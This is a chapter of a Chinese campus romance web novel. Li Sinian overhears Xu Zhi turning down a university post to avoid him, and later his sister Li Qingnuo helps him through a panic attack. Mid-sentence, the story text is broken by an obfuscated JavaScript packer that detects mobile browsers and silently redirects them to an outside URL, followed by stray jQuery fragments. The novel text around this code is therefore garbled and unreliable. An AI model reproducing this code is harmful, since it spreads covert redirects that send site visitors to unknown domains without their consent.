71.再遇

作品:《待风起[校园]

    接下来的公益讲座都在下周,李斯年这几天都是埋在实验室里过的。


    火灾之后,大家都以为他会因此对化学或实验室产生恐惧,俗话说一朝被蛇咬还要十年怕井绳。


    但来年李斯年还是报考了化学专业。


    他曾对方行舟说,化学是浪漫的。


    如今,他更觉得化学是孤寂的。


    穿着防护服、带着护目镜,就这么在实验室内静静忙上好几个小时,从身体到灵魂都与外隔绝。


    他很享受这样纯粹的时间。


    这一天,李斯年从实验室出来,窗外天空已经布满晚霞,他快步往行政楼去,实验室有一些消耗性用品快用完了,得去后勤申请采购。


    通常这样的事情拜托学生跑一趟就行,但李斯年才来,于是许多事就亲力亲为了。


    紧赶慢赶好算是在后勤下班前将事情处理完,李斯年慢悠悠从楼梯往下走。


    广都大学的行政楼除了后勤、辅导员办公室和其他功能性办公室之外,还有一些教授的办公室。


    但大学不像初高中需求老师坐班,那些教授办公室大多时候里头都没人,况且下班时间点已过,整栋楼都差不多都空了。


    是故李斯年走到三楼时,轻易就被靠近走廊第一间办公室里的声音吸引了注意力。


    他无意窃听,实在是里头的老教授太激动,门也未关紧,那声音几乎是隔着半截走廊都能听到。


    “你今天必须给出一个足够说服我的理由,否则我不能同意!”老教授说。


    “我还是……想积累一些不同的经验。”一个年轻人的声音响起,“香洲大学挺好的,我也不能总在您羽翼之下,总要出去走走。”


    李斯年莫名觉得这声音有点熟悉,不自觉就放慢了脚步。


    “借口!这些年无论是国际间交流项目还是大学之间的互相学习,我哪次不是让你独立完成?而且香洲大学无论从什么方面都比不过广大,去那儿做老师,就是自毁前程!”


    老教授说到这里,顿了顿,补充了句,“当然,不是说香洲大学就差到哪里去了,而是杀鸡还不用宰牛刀呢!你说你这么聪明的人,怎么能在这样关键的节点昏了头呢?”


    他言辞里全都惜才之意:“你要是有什么为难和顾虑,尽管说,唯独别拿这种理由来糊弄我。”


    年轻人沉默了。


    李斯年鬼使神差地往前走了几步,借由楼梯与走廊之间的夹角掩藏身形,去看办公室内的情景。


    正对着门的是一闪巨大的玻璃,窗外夕阳灿烂,尽管房间内没开灯,但仍然不显昏暗。


    窗前是一个长桌,老教授在桌后,整个已经从椅子上站了起来,他面前是一个高高瘦瘦的年轻人,背对大门。


    逆着光,李斯年甚至分辨不清这年轻人穿了什么颜色的衣服、头发长度如何,目光却像是有所指引般,落在了那人发尾与领口之间的一截后颈之上。


    剧烈的既视感扑面而来,李斯年大脑宕机几秒,眼前蓦的闪回多年前育德化学办公室走廊的画面。


    他和方行舟也是这样透过门缝往里瞧,看到老董头面前站着一个身穿黑色短袖、牛仔裤的少年。


    “老师,我……真的不能留在广大。”年轻人欲言又止的声音传出,看起来似乎很是为难。


    老教授双眼瞪得浑圆:“什么叫不能?!这里有什么洪水猛兽要吃了你么?”


    “你知不知道,如今大环境不好,各个高校的编制指标都在收缩,多少人挤破脑袋想进广外?你这么年轻就有申请副教授的资格,为什么不珍惜——咳咳咳!”


    老教授毕竟年纪大了,说到激烈处,一口气喘不匀,撑着桌面就开始咳嗽。


    “老师!”年轻人赶紧拿起桌上的杯子,添了点温水,抚着老教授的背,愧疚道,“您、您别这么激动。 ”


    老教授接过杯子喝了口,将气顺了过来,长叹一声:“那你就和我说句实话,为什么明明之前都挺好的,手续流程这周末之前就能走完,结果周一下午从福利院回来就改了主意?”


    李斯年心下惊雷一炸,整个人僵直在原地。


    年轻人闷着头,仍然没有解释,只是低声说了句:“对不起。”


    老教授也看得出来,他一定是心里有事,只是死活都不愿意说出来。


    “许之啊,我知道你性子沉,有什么事都喜欢憋心里,但这回不仅仅是你自己的事,我把你从国外带回广大,与校长说得就是你是我的接班人。“


    这是他手把手从本科带大的徒弟,也是他这么些年看到最集天赋与勤奋一身的孩子。


    况且,眼看距离退休也没几年,说是关门弟子也不为过,自然很看重。


    “再退一步,哪怕你无所谓是否辜负了我这些年的栽培,你就这么走了,怎么对得起自己?单说一年20多篇sci,我从业四十多年,就没见有哪个学生能做到过!这其中你吃了多少苦,只有你知道。”


    这话说得,可谓是推心置腹、情理皆备。


    许之侧身垂首,从李斯年的角度,仍然看不清他的面容与表情,只是单单瞧着这落寞的身影,便也跟着心里不太好受起来。


    老教授绕到桌前,拍了拍许之的肩:“这几天助教和公益那边的活儿,我让其他学生顶个班,你借此机会休息休息,好好想清楚,再给我答复,好吗?”


    话已至此,许之只好点头:“嗯,我知道了……时候不早,您也快回去,师母该要等急了。”


    “哎……这就对了,好好想想,孩子。”


    老教授紧绷的表情终于松动了,他拿起公文包,搭着许之的肩膀,二人如没有代沟的老父亲与儿子一般,“你师母这几天还念叨着你,说要你来家里吃饭呢。”


    许之也淡淡一笑:“嗯,我周末就过去。”


    二人说着,往外走。


    李斯年缓过神来,随即垫脚猫腰做贼似的,三步并作两步,向楼梯上方的拐角跑去。


    老教授这边关上门,继续和许之边家常边下了楼。


    李斯年一颗心七上八下,分不清是因为刚才几步跑得还是其他。


    他顺着楼梯扶手的间隙往下看,只见许之的侧影一闪过,除了皮肤在昏暗楼梯间仍然白皙到发亮之外,其余的什么都没能看清。


    李斯年心中忽然生出一丝荒诞。


    看来老天爷是太喜欢跟自己开玩笑了,当初他哭着求着要找时,人远在天边,等到早已决定从此陌路时,又变得近在眼前。


    对方倒是这么些年来始终如一:躲他像是躲瘟神。


    看来周一那天,福利院门口的大巴上果然就坐着许之。


    他看到自己了,然后连广大副教授的机会都能说不要就不要,只为了能逃离他。


    其实广都大学原本占地面积就很大,分了好几个校区,况且专业这么多,若不是同系老师,只要稍稍有意避开,很可能就几年都见不到一面。


    就算这样,许之也要逃。


    掌心传来刺痛,李斯年才发现自己不知什么时候攥紧了拳,指甲在肉上嵌出了深深的长痕。


    他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639435|168693||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在心中无声地笑了。


    这人就真的,这么厌恶自己?


    -


    李倾诺只和梁芷说了自己今天会到广都,故意瞒着李斯年,想给他个惊喜。


    下飞机后,先和梁芷碰了面,去蛋糕店拿了定好的蛋糕,是李斯年喜欢吃的苦抹茶口味,然后直奔李斯年家中。


    推开门的一瞬间,李倾诺只觉得像是突然闯入一个巨大的冰柜里。


    “空调没关么?”她问。


    梁芷摇头:“我这几天出门早,不知道是不是斯年哥忘了关。”


    “这败家哥哥。"李倾诺笑着说,打开玄关的灯,看了眼墙上的钟表,“没到五点,他估计还没下班,蛋糕先放冰箱吧……嗯?”


    李倾诺目光一扫鞋柜,正想着怎么少了双拖鞋,就听到房门紧闭的卧室内传来很轻的动静。


    梁芷吓得一抖:“什么声音?”


    李倾诺示意她别慌,将蛋糕放在桌上,轻手轻脚走到门前:“哥?”


    屋内又恢复安静,李倾诺耳朵贴着门,仔细听了几秒,忽然意识到什么。


    梁芷和她想到一起去了:“斯年哥是不是又……”


    李倾诺表情凝重,点点头:“你先在客厅等会吧。”


    然后拧开房门,走了进去。


    “哥,你还好吗?”


    李倾诺轻轻合上门,屋内一片漆黑,什么都看不见,但她不敢开大灯,只好摸索半天,终于点亮了床头的小夜灯。


    只见床上被褥拱起,里面的人似乎正曲起身体,剧烈颤抖着。


    与之伴随的,是短促而剧烈的呼吸声,和明显被压抑着的、近乎窒息的呜咽。


    李倾诺几乎瞬间就反应过来,立刻翻找就近的柜子与抽屉。


    很快,就在床头抽屉里找出一瓶熟悉的药来。


    “没事了,我在这呢。”她只是将药片放在桌面,不急给李斯年吃,而是先去抚摸他的背,手上的力道重而缓,像是在模拟绵长的呼吸。


    “什么都不会发生的,你慢慢吸气、慢慢吐气……对,就像这样,再来五次,就会好了。”李倾诺眉眼间是与稚嫩外表截然不同的镇定神色,若是这屋内有孙家娟或李宇在,就会发现,有那么一瞬间,她竟然像极了郑秀。


    “一、二、三……”李倾诺一下又一下数着,配合着抚背的节奏。


    直到数到第三百二十六,才明显感觉到被褥下的抖动开始减缓。


    李倾诺轻轻掀开一角,去看里面人的状况。


    李斯年蜷缩在被褥深处,只能用隐隐瞧见轮廓,他脸埋在膝头,看不清表情,整个人像是洗了个大澡,头脸与背部都湿透了,黑发黏在苍白如纸的脸侧。


    李倾诺心里揪着,又去摸他环抱膝盖的手。


    冷如寒冰。


    “好些了么?”李倾诺轻声问。


    李斯年此刻没有说话的力气,只是微动指尖,告知向她自己已经拿回身体控制权。


    熟悉的无力感爬上李倾诺心头,她连叹息都只敢默默地,起身倒了水,把药递给李斯年。


    李斯年眼也没抬,只是安静的拿起药吃了,然后像是累极似的,面向内侧躺睡过去。


    这是将自己隔离起来,拒绝外界一切事物和人的姿势。


    李倾诺清楚。


    尽管她有很多想问的,但现在不是合适的时候,于是拿了一套干净的睡衣,放在枕头旁。


    “等下换个衣服吧,小心着凉哦。”


    说完,也知道李斯年不会应声,轻手轻脚地出了卧室。